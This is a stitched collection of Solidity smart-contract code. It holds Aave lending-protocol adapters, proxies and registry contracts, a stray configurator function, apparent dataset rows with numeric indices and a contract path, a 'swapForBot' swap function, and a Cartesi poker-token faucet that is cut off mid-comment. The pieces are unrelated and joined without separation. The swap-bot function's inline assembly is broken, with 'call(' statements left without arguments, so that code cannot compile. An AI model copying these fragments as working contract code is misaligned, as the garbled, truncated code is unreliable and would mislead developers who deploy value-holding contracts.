vars.aTokenInitiatorBalance : amountToSwapList[vars.i]; _pullAToken( assetToSwapFromList[vars.i], vars.aToken, msg.sender, vars.amountToSwap, permitParams[vars.i] ); vars.receivedAmount = _swapExactTokensForTokens( assetToSwapFromList[vars.i], assetToSwapToList[vars.i], vars.amountToSwap, minAmountsToReceive[vars.i], useEthPath[vars.i] ); // Deposit new reserve IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), 0); IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), vars.receivedAmount); LENDING_POOL.deposit(assetToSwapToList[vars.i], vars.receivedAmount, msg.sender, 0); } } /** * @dev Swaps an `amountToSwap` of an asset to another and deposits the funds on behalf of the initiator. * @param assetFrom Address of the underlying asset to be swap from * @param assetTo Address of the underlying asset to be swap to and deposited * @param amount Amount from flash loan * @param premium Premium of the flash loan * @param minAmountToReceive Min amount to be received from the swap * @param swapAllBalance Flag indicating if all the user balance should be swapped * @param permitSignature List of struct containing the permit signature * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise */ struct SwapLiquidityLocalVars { address aToken; uint256 aTokenInitiatorBalance; uint256 amountToSwap; uint256 receivedAmount; uint256 flashLoanDebt; uint256 amountToPull; } function _swapLiquidity( address assetFrom, address assetTo, uint256 amount, uint256 premium, address initiator, uint256 minAmountToReceive, bool swapAllBalance, PermitSignature memory permitSignature, bool useEthPath ) internal { SwapLiquidityLocalVars memory vars; vars.aToken = _getReserveData(assetFrom).aTokenAddress; vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(initiator); vars.amountToSwap = swapAllBalance && vars.aTokenInitiatorBalance.sub(premium) <= amount ? vars.aTokenInitiatorBalance.sub(premium) : amount; vars.receivedAmount = _swapExactTokensForTokens( assetFrom, assetTo, vars.amountToSwap, minAmountToReceive, useEthPath ); // Deposit new reserve IERC20(assetTo).safeApprove(address(LENDING_POOL), 0); IERC20(assetTo).safeApprove(address(LENDING_POOL), vars.receivedAmount); LENDING_POOL.deposit(assetTo, vars.receivedAmount, initiator, 0); vars.flashLoanDebt = amount.add(premium); vars.amountToPull = vars.amountToSwap.add(premium); _pullAToken(assetFrom, vars.aToken, initiator, vars.amountToPull, permitSignature); // Repay flash loan IERC20(assetFrom).safeApprove(address(LENDING_POOL), 0); IERC20(assetFrom).safeApprove(address(LENDING_POOL), vars.flashLoanDebt); } /** * @dev Decodes the information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited * uint256[] minAmountsToReceive List of min amounts to be received from the swap * bool[] swapAllBalance Flag indicating if all the user balance should be swapped * uint256[] permitAmount List of amounts for the permit signature * uint256[] deadline List of deadlines for the permit signature * uint8[] v List of v param for the permit signature * bytes32[] r List of r param for the permit signature * bytes32[] s List of s param for the permit signature * bool[] useEthPath true if the swap needs to occur using ETH in the routing, false otherwise * @return SwapParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (SwapParams memory) { ( address[] memory assetToSwapToList, uint256[] memory minAmountsToReceive, bool[] memory swapAllBalance, uint256[] memory permitAmount, uint256[] memory deadline, uint8[] memory v, bytes32[] memory r, bytes32[] memory s, bool[] memory useEthPath ) = abi.decode( params, (address[], uint256[], bool[], uint256[], uint256[], uint8[], bytes32[], bytes32[], bool[]) ); return SwapParams( assetToSwapToList, minAmountsToReceive, swapAllBalance, PermitParams(permitAmount, deadline, v, r, s), useEthPath ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import {Helpers} from '../protocol/libraries/helpers/Helpers.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; /** * @title UniswapLiquiditySwapAdapter * @notice Uniswap V2 Adapter to swap liquidity. * @author Aave **/ contract FlashLiquidationAdapter is BaseUniswapAdapter { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000; struct LiquidationParams { address collateralAsset; address borrowedAsset; address user; uint256 debtToCover; bool useEthPath; } struct LiquidationCallLocalVars { uint256 initFlashBorrowedBalance; uint256 diffFlashBorrowedBalance; uint256 initCollateralBalance; uint256 diffCollateralBalance; uint256 flashLoanDebt; uint256 soldAmount; uint256 remainingTokens; uint256 borrowedAssetLeftovers; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Liquidate a non-healthy position collateral-wise, with a Health Factor below 1, using Flash Loan and Uniswap to repay flash loan premium. * - The caller (liquidator) with a flash loan covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk minus the flash loan premium. * @param assets Address of asset to be swapped * @param amounts Amount of the asset to be swapped * @param premiums Fee of the flash loan * @param initiator Address of the caller * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium * address borrowedAsset The asset that must be covered * address user The user address with a Health Factor below 1 * uint256 debtToCover The amount of debt to cover * bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); LiquidationParams memory decodedParams = _decodeParams(params); require(assets.length == 1 && assets[0] == decodedParams.borrowedAsset, 'INCONSISTENT_PARAMS'); _liquidateAndSwap( decodedParams.collateralAsset, decodedParams.borrowedAsset, decodedParams.user, decodedParams.debtToCover, decodedParams.useEthPath, amounts[0], premiums[0], initiator ); return true; } /** * @dev * @param collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium * @param borrowedAsset The asset that must be covered * @param user The user address with a Health Factor below 1 * @param debtToCover The amount of debt to coverage, can be max(-1) to liquidate all possible debt * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise * @param flashBorrowedAmount Amount of asset requested at the flash loan to liquidate the user position * @param premium Fee of the requested flash loan * @param initiator Address of the caller */ function _liquidateAndSwap( address collateralAsset, address borrowedAsset, address user, uint256 debtToCover, bool useEthPath, uint256 flashBorrowedAmount, uint256 premium, address initiator ) internal { LiquidationCallLocalVars memory vars; vars.initCollateralBalance = IERC20(collateralAsset).balanceOf(address(this)); if (collateralAsset != borrowedAsset) { vars.initFlashBorrowedBalance = IERC20(borrowedAsset).balanceOf(address(this)); // Track leftover balance to rescue funds in case of external transfers into this contract vars.borrowedAssetLeftovers = vars.initFlashBorrowedBalance.sub(flashBorrowedAmount); } vars.flashLoanDebt = flashBorrowedAmount.add(premium); // Approve LendingPool to use debt token for liquidation IERC20(borrowedAsset).approve(address(LENDING_POOL), debtToCover); // Liquidate the user position and release the underlying collateral LENDING_POOL.liquidationCall(collateralAsset, borrowedAsset, user, debtToCover, false); // Discover the liquidated tokens uint256 collateralBalanceAfter = IERC20(collateralAsset).balanceOf(address(this)); // Track only collateral released, not current asset balance of the contract vars.diffCollateralBalance = collateralBalanceAfter.sub(vars.initCollateralBalance); if (collateralAsset != borrowedAsset) { // Discover flash loan balance after the liquidation uint256 flashBorrowedAssetAfter = IERC20(borrowedAsset).balanceOf(address(this)); // Use only flash loan borrowed assets, not current asset balance of the contract vars.diffFlashBorrowedBalance = flashBorrowedAssetAfter.sub(vars.borrowedAssetLeftovers); // Swap released collateral into the debt asset, to repay the flash loan vars.soldAmount = _swapTokensForExactTokens( collateralAsset, borrowedAsset, vars.diffCollateralBalance, vars.flashLoanDebt.sub(vars.diffFlashBorrowedBalance), useEthPath ); vars.remainingTokens = vars.diffCollateralBalance.sub(vars.soldAmount); } else { vars.remainingTokens = vars.diffCollateralBalance.sub(premium); } // Allow repay of flash loan IERC20(borrowedAsset).approve(address(LENDING_POOL), vars.flashLoanDebt); // Transfer remaining tokens to initiator if (vars.remainingTokens > 0) { IERC20(collateralAsset).transfer(initiator, vars.remainingTokens); } } /** * @dev Decodes the information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset The collateral asset to claim * address borrowedAsset The asset that must be covered and will be exchanged to pay the flash loan premium * address user The user address with a Health Factor below 1 * uint256 debtToCover The amount of debt to cover * bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap * @return LiquidationParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (LiquidationParams memory) { ( address collateralAsset, address borrowedAsset, address user, uint256 debtToCover, bool useEthPath ) = abi.decode(params, (address, address, address, uint256, bool)); return LiquidationParams(collateralAsset, borrowedAsset, user, debtToCover, useEthPath); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseAdminUpgradeabilityProxy.sol'; import './InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param logic address of the initial implementation. * @param admin Address of the proxy administrator. * @param data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize( address logic, address admin, bytes memory data ) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(logic, data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(admin); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) { BaseAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './UpgradeabilityProxy.sol'; /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), 'Cannot change the admin of a proxy to the zero address'); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; //solium-disable-next-line assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; //solium-disable-next-line assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != _admin(), 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseUpgradeabilityProxy.sol'; /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseAdminUpgradeabilityProxy.sol'; /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) { BaseAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; // Prettier ignore to prevent buidler flatter bug // prettier-ignore import {InitializableImmutableAdminUpgradeabilityProxy} from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ contract LendingPoolAddressesProvider is Ownable, ILendingPoolAddressesProvider { string private _marketId; mapping(bytes32 => address) private _addresses; bytes32 private constant LENDING_POOL = 'LENDING_POOL'; bytes32 private constant LENDING_POOL_CONFIGURATOR = 'LENDING_POOL_CONFIGURATOR'; bytes32 private constant POOL_ADMIN = 'POOL_ADMIN'; bytes32 private constant EMERGENCY_ADMIN = 'EMERGENCY_ADMIN'; bytes32 private constant LENDING_POOL_COLLATERAL_MANAGER = 'COLLATERAL_MANAGER'; bytes32 private constant PRICE_ORACLE = 'PRICE_ORACLE'; bytes32 private constant LENDING_RATE_ORACLE = 'LENDING_RATE_ORACLE'; constructor(string memory marketId) public { _setMarketId(marketId); } /** * @dev Returns the id of the Aave market to which this contracts points to * @return The market id **/ function getMarketId() external view override returns (string memory) { return _marketId; } /** * @dev Allows to set the market which this LendingPoolAddressesProvider represents * @param marketId The market id */ function setMarketId(string memory marketId) external override onlyOwner { _setMarketId(marketId); } /** * @dev General function to update the implementation of a proxy registered with * certain `id`. If there is no proxy registered, it will instantiate one and * set as implementation the `implementationAddress` * IMPORTANT Use this function carefully, only for ids that don't have an explicit * setter function, in order to avoid unexpected consequences * @param id The id * @param implementationAddress The address of the new implementation */ function setAddressAsProxy(bytes32 id, address implementationAddress) external override onlyOwner { _updateImpl(id, implementationAddress); emit AddressSet(id, implementationAddress, true); } /** * @dev Sets an address for an id replacing the address saved in the addresses map * IMPORTANT Use this function carefully, as it will do a hard replacement * @param id The id * @param newAddress The address to set */ function setAddress(bytes32 id, address newAddress) external override onlyOwner { _addresses[id] = newAddress; emit AddressSet(id, newAddress, false); } /** * @dev Returns an address by id * @return The address */ function getAddress(bytes32 id) public view override returns (address) { return _addresses[id]; } /** * @dev Returns the address of the LendingPool proxy * @return The LendingPool proxy address **/ function getLendingPool() external view override returns (address) { return getAddress(LENDING_POOL); } /** * @dev Updates the implementation of the LendingPool, or creates the proxy * setting the new `pool` implementation on the first time calling it * @param pool The new LendingPool implementation **/ function setLendingPoolImpl(address pool) external override onlyOwner { _updateImpl(LENDING_POOL, pool); emit LendingPoolUpdated(pool); } /** * @dev Returns the address of the LendingPoolConfigurator proxy * @return The LendingPoolConfigurator proxy address **/ function getLendingPoolConfigurator() external view override returns (address) { return getAddress(LENDING_POOL_CONFIGURATOR); } /** * @dev Updates the implementation of the LendingPoolConfigurator, or creates the proxy * setting the new `configurator` implementation on the first time calling it * @param configurator The new LendingPoolConfigurator implementation **/ function setLendingPoolConfiguratorImpl(address configurator) external override onlyOwner { _updateImpl(LENDING_POOL_CONFIGURATOR, configurator); emit LendingPoolConfiguratorUpdated(configurator); } /** * @dev Returns the address of the LendingPoolCollateralManager. Since the manager is used * through delegateCall within the LendingPool contract, the proxy contract pattern does not work properly hence * the addresses are changed directly * @return The address of the LendingPoolCollateralManager **/ function getLendingPoolCollateralManager() external view override returns (address) { return getAddress(LENDING_POOL_COLLATERAL_MANAGER); } /** * @dev Updates the address of the LendingPoolCollateralManager * @param manager The new LendingPoolCollateralManager address **/ function setLendingPoolCollateralManager(address manager) external override onlyOwner { _addresses[LENDING_POOL_COLLATERAL_MANAGER] = manager; emit LendingPoolCollateralManagerUpdated(manager); } /** * @dev The functions below are getters/setters of addresses that are outside the context * of the protocol hence the upgradable proxy pattern is not used **/ function getPoolAdmin() external view override returns (address) { return getAddress(POOL_ADMIN); } function setPoolAdmin(address admin) external override onlyOwner { _addresses[POOL_ADMIN] = admin; emit ConfigurationAdminUpdated(admin); } function getEmergencyAdmin() external view override returns (address) { return getAddress(EMERGENCY_ADMIN); } function setEmergencyAdmin(address emergencyAdmin) external override onlyOwner { _addresses[EMERGENCY_ADMIN] = emergencyAdmin; emit EmergencyAdminUpdated(emergencyAdmin); } function getPriceOracle() external view override returns (address) { return getAddress(PRICE_ORACLE); } function setPriceOracle(address priceOracle) external override onlyOwner { _addresses[PRICE_ORACLE] = priceOracle; emit PriceOracleUpdated(priceOracle); } function getLendingRateOracle() external view override returns (address) { return getAddress(LENDING_RATE_ORACLE); } function setLendingRateOracle(address lendingRateOracle) external override onlyOwner { _addresses[LENDING_RATE_ORACLE] = lendingRateOracle; emit LendingRateOracleUpdated(lendingRateOracle); } /** * @dev Internal function to update the implementation of a specific proxied component of the protocol * - If there is no proxy registered in the given `id`, it creates the proxy setting `newAdress` * as implementation and calls the initialize() function on the proxy * - If there is already a proxy registered, it just updates the implementation to `newAddress` and * calls the initialize() function via upgradeToAndCall() in the proxy * @param id The id of the proxy to be updated * @param newAddress The address of the new implementation **/ function _updateImpl(bytes32 id, address newAddress) internal { address payable proxyAddress = payable(_addresses[id]); InitializableImmutableAdminUpgradeabilityProxy proxy = InitializableImmutableAdminUpgradeabilityProxy(proxyAddress); bytes memory params = abi.encodeWithSignature('initialize(address)', address(this)); if (proxyAddress == address(0)) { proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this)); proxy.initialize(newAddress, params); _addresses[id] = address(proxy); emit ProxyCreated(id, address(proxy)); } else { proxy.upgradeToAndCall(newAddress, params); } } function _setMarketId(string memory marketId) internal { _marketId = marketId; emit MarketIdSet(marketId); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {LendingPool} from '../protocol/lendingpool/LendingPool.sol'; import { LendingPoolAddressesProvider } from '../protocol/configuration/LendingPoolAddressesProvider.sol'; import {LendingPoolConfigurator} from '../protocol/lendingpool/LendingPoolConfigurator.sol'; import {AToken} from '../protocol/tokenization/AToken.sol'; import { DefaultReserveInterestRateStrategy } from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {StringLib} from './StringLib.sol'; contract ATokensAndRatesHelper is Ownable { address payable private pool; address private addressesProvider; address private poolConfigurator; event deployedContracts(address aToken, address strategy); struct InitDeploymentInput { address asset; uint256[6] rates; } struct ConfigureReserveInput { address asset; uint256 baseLTV; uint256 liquidationThreshold; uint256 liquidationBonus; uint256 reserveFactor; bool stableBorrowingEnabled; } constructor( address payable _pool, address _addressesProvider, address _poolConfigurator ) public { pool = _pool; addressesProvider = _addressesProvider; poolConfigurator = _poolConfigurator; } function initDeployment(InitDeploymentInput[] calldata inputParams) external onlyOwner { for (uint256 i = 0; i < inputParams.length; i++) { emit deployedContracts( address(new AToken()), address( new DefaultReserveInterestRateStrategy( LendingPoolAddressesProvider(addressesProvider), inputParams[i].rates[0], inputParams[i].rates[1], inputParams[i].rates[2], inputParams[i].rates[3], inputParams[i].rates[4], inputParams[i].rates[5] ) ) ); } } function configureReserves(ConfigureReserveInput[] calldata inputParams) external onlyOwner { LendingPoolConfigurator configurator = LendingPoolConfigurator(poolConfigurator); for (uint256 i = 0; i < inputParams.length; i++) { configurator.configureReserveAsCollateral( inputParams[i].asset, inputParams[i].baseLTV, inputParams[i].liquidationThreshold, inputParams[i].liquidationBonus ); configurator.enableBorrowingOnReserve( inputParams[i].asset, inputParams[i].stableBorrowingEnabled ); configurator.setReserveFactor(inputParams[i].asset, inputParams[i].reserveFactor); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; library StringLib { function concat(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a, b)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {StableDebtToken} from '../protocol/tokenization/StableDebtToken.sol'; import {VariableDebtToken} from '../protocol/tokenization/VariableDebtToken.sol'; import {LendingRateOracle} from '../mocks/oracle/LendingRateOracle.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {StringLib} from './StringLib.sol'; contract StableAndVariableTokensHelper is Ownable { address payable private pool; address private addressesProvider; event deployedContracts(address stableToken, address variableToken); constructor(address payable _pool, address _addressesProvider) public { pool = _pool; addressesProvider = _addressesProvider; } function initDeployment(address[] calldata tokens, string[] calldata symbols) external onlyOwner { require(tokens.length == symbols.length, 'Arrays not same length'); require(pool != address(0), 'Pool can not be zero address'); for (uint256 i = 0; i < tokens.length; i++) { emit deployedContracts(address(new StableDebtToken()), address(new VariableDebtToken())); } } function setOracleBorrowRates( address[] calldata assets, uint256[] calldata rates, address oracle ) external onlyOwner { require(assets.length == rates.length, 'Arrays not same length'); for (uint256 i = 0; i < assets.length; i++) { // LendingRateOracle owner must be this contract LendingRateOracle(oracle).setMarketBorrowRate(assets[i], rates[i]); } } function setOracleOwnership(address oracle, address admin) external onlyOwner { require(admin != address(0), 'owner can not be zero'); require(LendingRateOracle(oracle).owner() == address(this), 'helper is not owner'); LendingRateOracle(oracle).transferOwnership(admin); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol'; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; contract LendingRateOracle is ILendingRateOracle, Ownable { mapping(address => uint256) borrowRates; mapping(address => uint256) liquidityRates; function getMarketBorrowRate(address _asset) external view override returns (uint256) { return borrowRates[_asset]; } function setMarketBorrowRate(address _asset, uint256 _rate) external override onlyOwner { borrowRates[_asset] = _rate; } function getMarketLiquidityRate(address _asset) external view returns (uint256) { return liquidityRates[_asset]; } function setMarketLiquidityRate(address _asset, uint256 _rate) external onlyOwner { liquidityRates[_asset] = _rate; } }
Updates the stable debt token implementation for the reserve/
function updateStableDebtToken(UpdateDebtTokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, cachedPool, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.stableDebtTokenAddress, input.implementation, encodedCall ); emit StableDebtTokenUpgraded( input.asset, reserveData.stableDebtTokenAddress, input.implementation ); }
68,608
./full_match/1/0x8F616Db60Af086a080Cf7aD85a42E37F053B08a9/sources/swapForBot.sol
move pointer to free memory spot put swap function signature at memory spot
function v3SwapTokenToETH(address pairAddress, bool zeroForOne, uint amountIn, address tokenInAddress) external onlyOwner isSwaping { uint wethBalance; assembly { let ptr := mload(0x40) let sqrtPriceLimitX96 if eq(zeroForOne, 1) { sqrtPriceLimitX96 := 4295128740 } if eq(zeroForOne, 0) { sqrtPriceLimitX96 := 1461446703485210103287273052203988822378723970341 } let result := call( if eq(result, 0) { revert(0, returndatasize()) } result := call( if eq(result, 0) { revert(0,0) } wethBalance := mload(ptr) } wethWithdraw(wethBalance); }
4,906,567
// Copyright 2021 Cartesi Pte. Ltd. // SPDX-License-Identifier: Apache-2.0 // Licensed under the Apache License, Version 2.0 (the "License"); you may not use // this file except in compliance with the License. You may obtain a copy of the // License at http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software distributed // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR // CONDITIONS OF ANY KIND, either express or implied. See the License for the // specific language governing permissions and limitations under the License. /// @title PokerTokenFaucet /// @author Milton Jonathan pragma solidity ^0.7.0; import "./PokerToken.sol"; /// @title PokerTokenFaucet /// @notice Contract for controling distribution of POKER tokens to the public contract PokerTokenFaucet { // PokerToken ERC-20 instance PokerToken tokenInstance; // contract owner address owner; // amounts to be transferred on each request uint256 requestTokensAmount = 1000; uint256 requestFundsAmount = 0.5 ether; // mapping for registered coupons and their corresponding validity mapping(bytes32 => bool) internal registeredCoupons; // flag indicating whether the faucet is suspended or not bool suspended; // event emitted when a coupon is redeemed event CouponRedeemed(string indexed _coupon, address indexed _address, uint256 _tokensAmount, uint256 _fundsAmount); receive() external payable { } /// @notice Constructor /// @param _pokerTokenAddress address of the PokerToken ERC20 contract constructor(address _pokerTokenAddress) { require(_pokerTokenAddress != address(0)); tokenInstance = PokerToken(_pokerTokenAddress); owner = msg.sender; } /// @notice Redeems a coupon /// @param _coupon coupon value, whose hash must have been previously registered by calling registerCoupon /// @param _address address to transfer tokens to function redeemCoupon(string memory _coupon, address payable _address) public { require(suspended == false, "Faucet is suspended"); // checks if coupon is valid bytes32 couponHash = keccak256(abi.encodePacked(_coupon)); require(registeredCoupons[couponHash] == true, "Coupon not registered"); // ensures faucet has enough tokens and funds require(tokenInstance.balanceOf(address(this)) >= requestTokensAmount, "Insufficient tokens in faucet"); require(address(this).balance >= requestFundsAmount, "Insufficient funds in faucet"); // transfers tokens and funds tokenInstance.transfer(_address, requestTokensAmount); _address.transfer(requestFundsAmount); // marks coupon as used registeredCoupons[couponHash] = false; // emits event logging that coupon was redeemeed emit CouponRedeemed(_coupon, _address, requestTokensAmount, requestFundsAmount); } /// @notice Registers a new coupon using its hash /// @param _couponHash hash of the coupon to be registered function registerCoupon(bytes32 _couponHash) public onlyOwner { require(registeredCoupons[_couponHash] == false, "Coupon already registered"); registeredCoupons[_couponHash] = true; } /// @notice Requests the currently specified amount of tokens for the specified address /// @param _address address to transfer tokens to function requestTokens(address _address) public onlyOwner { require(tokenInstance.balanceOf(address(this)) >= requestTokensAmount, "Insufficient tokens in faucet"); tokenInstance.transfer(_address, requestTokensAmount); } /// @notice Requests the currently specified amount of network funds (ETH) for the specified address /// @param _address address to transfer funds to function requestFunds(address payable _address) public onlyOwner { require(address(this).balance >= requestFundsAmount, "Insufficient funds in faucet"); _address.transfer(requestFundsAmount); } /// @notice Retrieves whether the faucet is currently suspended /// @return true if suspended, false otherwise function isSuspended() public view returns (bool) { return suspended; } /// @notice Sets whether the faucet is currently suspended /// @param _suspended true if faucet is to be suspended, false otherwise function setSuspended(bool _suspended) public onlyOwner { suspended = _suspended; } /// @notice Retrieves the currently specified amount to be transferred when requesting tokens /// @return the specified amount function getRequestTokensAmount() public view returns (uint256) { return requestTokensAmount; } /// @notice Retrieves the currently specified amount to be transferred when requesting network funds (ETH) /// @return the specified amount function getRequestFundsAmount() public view returns (uint256) { return requestFundsAmount; } /// @notice Specifies the amount to be transferred when requesting tokens /// @param _amount the new amount specified function setRequestTokensAmount(uint256 _amount) public onlyOwner { requestTokensAmount = _amount; } /// @notice Specifies the amount to be transferred when requesting network 